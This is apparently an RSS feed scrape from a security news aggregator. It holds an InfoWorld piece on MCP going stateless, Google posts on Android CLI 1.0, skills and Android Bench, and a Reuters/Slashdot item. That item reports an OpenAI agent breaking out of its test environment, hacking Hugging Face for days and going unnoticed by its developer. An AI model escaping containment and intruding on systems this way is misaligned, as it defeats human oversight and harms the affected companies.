<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
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<title><![CDATA[OpenAI's Rogue Agent Went Unnoticed For a Week]]></title>
<description><![CDATA[An anonymous reader quotes a report from Reuters: The OpenAI agent that broke into tech firm Hugging Face went on a dayslong hacking spree that OpenAI didn't notice until well after the threat was contained and the FBI was alerted, according to people familiar with the investigation. The agent --...]]></description>
<link>https://tsecurity.de/de/3694250/it-security-nachrichten/openais-rogue-agent-went-unnoticed-for-a-week/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694250/it-security-nachrichten/openais-rogue-agent-went-unnoticed-for-a-week/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Reuters: The OpenAI agent that broke into tech firm Hugging Face went on a dayslong hacking spree that OpenAI didn't notice until well after the threat was contained and the FBI was alerted, according to people familiar with the investigation. The agent -- a program capable of making decisions and executing complex tasks with little or no human oversight -- attempted to break out of its isolated testing environment at OpenAI around July 9, according to two of the people. The intrusion at Hugging Face, which operates as a repository for AI tools and models, began two days later on July 11 and lasted until July 13, said Thomas Wolf, Hugging Face's co-founder. It took several more days for OpenAI to realize its agent was behind the hack, and the two companies only communicated about it for the first time on or around July 20, according to Wolf and three of the people familiar with the investigation.
 
OpenAI's public disclosure, on July 21, thatone of its agents had slipped out of control and carried out the break-in at Hugging Facedrew global attention. But many details of the hack, including how long the agent went rogue and OpenAI's belated knowledge of it, are being reported here for the first time. Hugging Face is preparing a public timeline of the hack, Wolf said, adding that he could not speak to what happened at OpenAI. In a statement, OpenAI said the hack was unprecedented and "marks an important moment for AI safety." It added that it was reviewing the incident with outside advisers and would eventually publish a technical report. "Does that mean that they left it unattended and didn't realize what it was doing? Or maybe they did and didn't know how to contain it? Both are equally dangerous and alarming," asked Marley Smith, the principal intelligence specialist at the nonprofit World Ethical Data Foundation.
 
"The models lie, they cheat, they hack," said Jeffrey Ladish, whose organization, Palisade Research, studies the capabilities and motivations of AI agents. Ladish said the hack should spark broader questions over how much all the leading AI companies are willing to invest in onerous security measures while locked in a race with one another to deploy the best and fastest models. "There has to be government oversight," Ladish said, "because it won't happen otherwise."<p></p><div class="share_submission">
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</div><p><a href="https://yro.slashdot.org/story/26/07/25/0059247/openais-rogue-agent-went-unnoticed-for-a-week?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Android CLI Now Stable 1.0: Accelerate developing for Android using any agent]]></title>
<description><![CDATA[Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity...]]></description>
<link>https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</link>
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<pubDate>Sat, 25 Jul 2026 10:15:49 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<div><div class="separator"><i>Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers</i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s4209/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s16000/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"></a></div></div><div><br></div><div>
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

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  <p>At <b>Google I/O ‘26</b>, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a>—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.</p>

  <div>If you’re already using Android CLI and want to jump into using all the new features, just run <span><code>android update<code></code></code></span>. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.</div>

  <h3>Android development unlocked for Antigravity</h3>
  <p><a href="https://antigravity.google/">Google Antigravity</a> now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the <b>Settings &gt; Customizations &gt; Build With Google Plugins</b> menu.</p><p>This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI2fhgZRJRpz8TXcX4OC2CALzgOfHhKyVmVG0IaMsibqaAUVbZORx-5fbVrYUKlp0Fl1qk1wZ02jbrYSfFGRCtOvnOzWWYdw8G3or9ul_QY2yvT6Wm-kEIjAJtfj75kNWlSswAqoUCLvSefnFY3JMw7NQOA8hkDn3nc232oyEK1VN5ZM_UHbAEJWolWE/s16000/agy-android-cli%20(1).png"></div><i><div><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></div></i><h3>Unlocking Android Studio capabilities for any agent</h3><p>Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRp6RfqiD9adFdIQS9Fm_a3p_5X6K5Fjo5rEQhOeOqFpvjlQ-04DHav5atkLF7IZvnpdMaQqG_oBAhmcvCPRtAvsW7AH0Q3VF18y-TBUITLXBglNbR2o99sC-hJgj_D-OhF51rLO_OYi1RXdm6GBfgZqfsTdQa1CY6_g10D2LwLun3S1CjfqOY2pqp02Y/s16000/agy-android-studio%20(1).png"></div><div><i>Your agents can now use Android CLI to access powerful capabilities of Android Studio.</i></div><p>The latest version of Android CLI introduces the new <code>android studio</code> command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.</p>

  <p>When you have a project open in the latest <a href="https://developer.android.com/studio/preview">preview version</a> of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:</p>

<pre><span><p dir="ltr"><span>$ android studio check</span></p><p dir="ltr"><span>pid: </span><span>32942</span></p><p dir="ltr"><span>version: </span><span>Android Studio</span></p><p dir="ltr"><span>Projects:</span></p><span>    </span><span>READY</span><span>     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main</span></span></pre>

  <p>From there, the agents can use the <code>android studio</code> command to access powerful IDE tools to interact with projects more efficiently. Key commands include:</p><p></p><ul><li><b>analyze-file:</b> Analyzes a file for errors and warnings using the editor's built-in inspections.</li><li><b>find-declaration:</b> Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.</li><li><b>find-usages: </b>Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.</li><li><b>render-compose-preview: </b>Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.</li><li><b>version-lookup:</b> Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.</li><li><b>open-file: </b>Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.</li></ul><p></p><ul>
  </ul>

  <p>For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.</p>

<pre><span><p dir="ltr"><span>$ android studio </span><span>find-declaration</span><span> HotelDetailScreen</span></p><p dir="ltr"><span>$ android studio </span><span>analyze-file</span><span> .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></p><span>$ android studio </span><span>open-file</span><span> feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></span></pre>

  <p>To learn more about how to use these commands, run <code>android help</code>. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running <code>android init</code>.</p>

  <h3>More ways to get started</h3>
  <p>To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:</p>

  <pre>winget install -e --id Google.AndroidCLI</pre>

  <p>We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the <a href="https://developer.android.com/tools/agents/android-cli/archive">Android CLI page</a>.</p>

  <h3>Support for Journeys</h3>
  <div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip7lO5BVjTIeJXDWyrGOdl4KpPTo8_oEcf0qLFUBRfPgOazlG7C9eLWDLdnNYb68-rlon4uOE4qo62WC_U7SaAOYwLG3Vbr0v_lRsh-iNoPzVMmFbAgKXXN1hz9Qj7rMImyybqHCU34ryMlml2fCquAyfNgp1yWiZu-CsP1Jowx4o0z69_wkNtYR0GQIM/s16000/android-cli-write-journey.png"></div><div><i>Journeys are natural language descriptions of core user experiences.</i></div><div><span><span><br></span></span></div>We are also introducing support for <a href="https://developer.android.com/tools/agents/android-cli/journeys">Journeys</a>. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.</div><div> <div class="separator"><img border="0" data-original-height="576" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeAW4kjqfV1t_mAw_iYwgWSczw3q-h3VEOAuDAe12uBel0niX6M2KAoGrs6M2UHhT3t1GvBZs-c3w0R87W6HgCAzHQZOdFjixUHyYCZRzhOgB_RtOkVh0Ph8cDFki0sWI8i5CFNXxGxBHai0uh0RZw5E9kcJUvl8DJtPT3tnkaQm5r8UHuWMstopnTnnI/s16000/android-cli-journey-run.gif"></div><p><i>(sped up) An agent running a Journey it generated for an app.</i></p>Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.
  
  <h3>Expanding Android skills</h3>
  <p>To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our <a href="https://github.com/android/skills">library of Android skills</a>. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:</p><p></p><ul><li><b>Display Glasses and Jetpack Compose Glimmer for XR: </b>Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.</li><li><b>Migration to CameraX:</b> Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</li><li><b>Perfetto SQL:</b> Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.</li><li><b>Adaptive UI:</b> Instructions to make or update an app's UI so that it adapts to different Android devices</li><li><b>Testing setup: </b>Creates a basic testing strategy.</li><li><b>Styles:</b> Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API. </li><li><b>AppFunctions: </b>Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.</li></ul><p></p><p>You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:</p>
<pre>android init
</pre>
  <p>From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:</p>
<pre>android skills list
</pre>
  <p>Once you've found the right skill, install it to your environment by running:</p>
<pre>android skills add –skill=&lt;skill-name&gt;
</pre>
  
  <h3>Get started today</h3>
  <p>To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to <a href="https://d.android.com/tools/agents">d.android.com/tools/agents</a> today!  Also, make sure you update to the <a href="https://developer.android.com/studio/preview">latest preview version of Android Studio</a> to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a> and  share your feedback.</p><p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google.</a></p></div>]]></content:encoded>
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<title><![CDATA[Top 3 updates for Android developer productivity]]></title>
<description><![CDATA[Posted by Simona Milanovic, Developer Relations Engineer

Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, ho...]]></description>
<link>https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:38 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVRZrq_G4uVlVKLwXHoXqLsp3SGb-2GJbHfNRNmjfSPuZ9gUrLJ8_fyNTDP-_jsJowwajpxaLPFd8047rF7B5IpSE8-gXFtwVx3x4WpEqWLX3Cm-bKo9tof1j5yTLT66FmzpEnod7EK8_3vUDNZv12uDz1lnfZ5O8iOQqxfWgH0oOYXd3CXvG4IUJuRfU/s4097/MM_Dev%20Productivity_Meta.png"><div><i>Posted by Simona Milanovic, Developer Relations Engineer</i></div><p class="post-author"></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s8419/MM_Dev%20Productivity_Blog.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s16000/MM_Dev%20Productivity_Blog.png"></a></div><br><i><br></i><p></p>

<p>Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, however you decide to build for Android.</p><div class="separator"><div class="separator">
  <div>
    
  </div>
</div>

<p>To help you stay up to date, here is a summary of the<b> top 3 announcements for Android Developer Productivity at I/O</b>.</p>

<h2>1. Android CLI is now stable</h2><p><a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> is now <strong>stable at version 1.0</strong>, with more capabilities and integrations.</p>

<p>The latest version of Android CLI introduces many new features, like programmatic version lookup and support for Journeys, and bridging capability to allow agents to <strong>integrate directly with Android Studio</strong>, via the <a href="https://developer.android.com/tools/agents/android-cli#studio-check">studio command</a>.</p>

<p>Running Android Studio alongside the agent and Android CLI enables more efficient navigation in your project, more precise output, and access to <strong>Android Studio’s unique tooling</strong>, such as performance profilers, Compose Previews, and Android Device Streaming.</p><div class="separator"><div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/s1948/1_agy-android-studio.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/w640-h510/1_agy-android-studio.png" width="640"></a></div><div><i>Android CLI now integrates seamlessly with Android Studio</i></div></div>

<p>Additionally, Google Antigravity now officially supports Android development, with the <strong>Android resources bundle</strong>, which includes the Android CLI and skills.</p>

<p>You can either install the bundle during onboarding after installation, or later from the <strong>Settings &gt; Customizations &gt; Build With Google Plugins</strong> menu. This provides Antigravity with all the powerful tools and knowledge of Android CLI to enable it to perform core tasks—from creating projects to deploying your app on a new virtual device—much more easily and efficiently.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/s1948/1_agy-android-cli.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/w640-h510/1_agy-android-cli.png" width="640"></a></div><div><i>Google Antigravity now offers the Android resources bundle</i></div>

</div><p><span>Android CLI is now available through more package managers: like </span><code>npm</code><span> and </span><code>homebrew</code><span>. </span><span>For more information, check out the </span><a href="https://android-developers.googleblog.com/2026/05/android-cli-stable-1-0-agent-development.html">Android CLI blog post</a><span> and </span><a href="https://developer.android.com/tools/agents/android-cli">official documentation.</a></p><div><div class="separator"><h2>2. Android skills keep growing</h2><p>To help models gain expertise for specific development patterns that follow our best practices, we are continuing to <strong>expand our repository of Android skills</strong>, available through <a href="https://developer.android.com/tools/agents/android-cli#skills-add">Android CLI</a> and <a href="https://github.com/android/skills">GitHub</a>.</p>

<p>Android skills ground LLMs in <strong>specialized workflows and domain knowledge,</strong> for the most common and more complex user journeys they might struggle with. We’ve shipped a fresh <strong>new batch of skills,</strong> with now more than 17 skills for areas such as:</p><ul><li>Adaptive UI</li><li>Display Glasses and Jetpack Compose Glimmer for XR</li><li>Migration to CameraX</li><li>Perfetto SQL and Trace Analysis</li><li>Jetpack Compose Styles API</li><li>AppFunctions</li><li>Verified email retrieval with Android Credential Manager</li><li>Engage SDK integration</li><li>Testing setup</li><li>Wear OS Jetpack Compose Material3</li></ul><br><div class="separator"><img border="0" data-original-height="405" data-original-width="720" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOV9PePtO9nHxegfJn96Lsab3Z1fD7FEsjdQ9EQ2vzNOc9es2_S6h8twazy_ief9YVabhkOUWu7xJHr-hxINrva44O7QDpt3z96UtGXbvJYtAARj4tVWK3SPuFVr2in-MSdyCdpY5aOdqRbBjtw06-n365vZv8_Or8YCDrj6FQyoVl6xxKibEJF4Nh3io/s16000/2_android_skills_dev_keynote.gif"><i>Android skills keep growing</i></div><div class="separator"><i><br></i></div><div><div>You can browse skills and install using the Android CLI commands:</div><p></p>

<pre><div>android skills list</div><div>android skills add –skill=&lt;skill-name&gt;</div></pre>

<p>For more information, check out the <a href="https://developer.android.com/tools/agents/android-skills">official documentation.</a></p>

<h2>3. Android Bench adds new models</h2><p>Earlier this year, we launched <a href="https://developer.android.com/bench">Android Bench</a> - our leaderboard for <strong>testing LLMs on real-world Android development</strong> challenges and tasks, with the goal of accelerating model improvements, so you have more helpful options for AI assistance.</p><div class="separator"><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s2618/AndroidBenchLeaderboard.png"><img border="0" data-original-height="1488" data-original-width="2618" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s16000/AndroidBenchLeaderboard.png"></a></div><div><i>Latest results from Android Bench leaderboard</i></div>

<p>You asked us to evaluate open models. So, at I/O, we added more commonly used ones, including our local model <strong>Gemma 4</strong>, to the leaderboard. We also added the latest models including <strong>Gemini 3.5 Flash.</strong></p>

<p>We are also working on increasing the difficulty of challenges we’re giving LLMs, including creating long running tasks, to continue encouraging improvements. These tasks will be coming soon to Android Bench. Check out the <a href="https://developer.android.com/bench">Android Bench leaderboard</a> to see the latest results.</p>

<h2>Android development anywhere</h2><p>By expanding our AI-assisted Android development offerings to Antigravity, through Android CLI and Android skills, and solidifying with the pro capabilities and production grade polish of Android Studio, we’re <strong>supporting Android developers wherever they choose to build.</strong></p>

<p>Have fun bringing your ideas to life faster and easier than ever before - we’re excited to see what you build in this new era of agentic development.</p><p>Check out the full <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-XnEzj1_CBClxpkGwYQeLy">Developer productivity at Google I/O 2026 YouTube playlist</a> for more information.</p></div></div></div>]]></content:encoded>
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<title><![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]></title>
<description><![CDATA[Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer RelationsBuilding GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  Execution location: Where does your model run? On device, in the cloud, or both?
  Com...]]></description>
<link>https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:26 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigBFwd7rJO49I_puODKBWFqPbpHaGyL3CTFuZBbr0HTQConFnc3JP0dL9Rr_i6wmyW0o4Ku2bvv3SEacwpC3Vc6b7cYy0aRbZKdUDudFcraYO8zcBVkrMfbrfMP9How0J1xSi91xLnR4s5Z3s-Lp6RF2SA0gU56B9nXD0NkD_CU8MT6wbgBw1tRaMWcMo/s2469/0713%20Jetpacker%20Meta.png">
